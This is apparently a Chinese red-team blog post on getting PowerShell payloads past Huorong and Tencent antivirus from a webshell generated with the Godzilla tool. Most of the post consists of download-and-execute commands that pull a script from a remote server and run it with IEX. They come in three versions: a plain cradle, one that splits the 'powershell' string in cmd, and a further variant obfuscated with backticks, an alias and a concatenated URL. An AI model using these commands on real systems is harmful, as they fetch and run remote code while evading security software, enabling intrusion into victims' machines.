红队攻防之powershell上线基础免杀(一)

不努力，你背井离乡干嘛？当卧底啊

环境为win10，在哥斯拉生成的webshell下，执行powershell命令。

测试杀毒软件为：火绒，腾讯电脑管家

哥斯拉生成php文件的webshell

如图

哥斯拉进行连接

把要执行命令的文件放在远程服务器上

进入命令执行界面，首先使用正常的powershell加载指令

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x.txt'))"

我们会发现火绒进行拦截

经过测试，发现主要是对powershell这个字符串进行了拦截拦截，那就可以尝试对该字符串进行拼接。

set aa=powers&& set bb=hell && cmd /c "echo iex(New-Object Net.WebClient).DownloadString('http://x.x.x.x/x.txt') | %aa%%bb% -"

成功执行了命令

测试可行之后，可以继续进行修改，从而做到进一步免杀

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://x'+'x.0.0.'+'x/x.txt') | %aa%%bb% -"

成功执行命令

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

原文始发于微信公众号（儒道易行）：红队攻防之powershell上线基础免杀(一)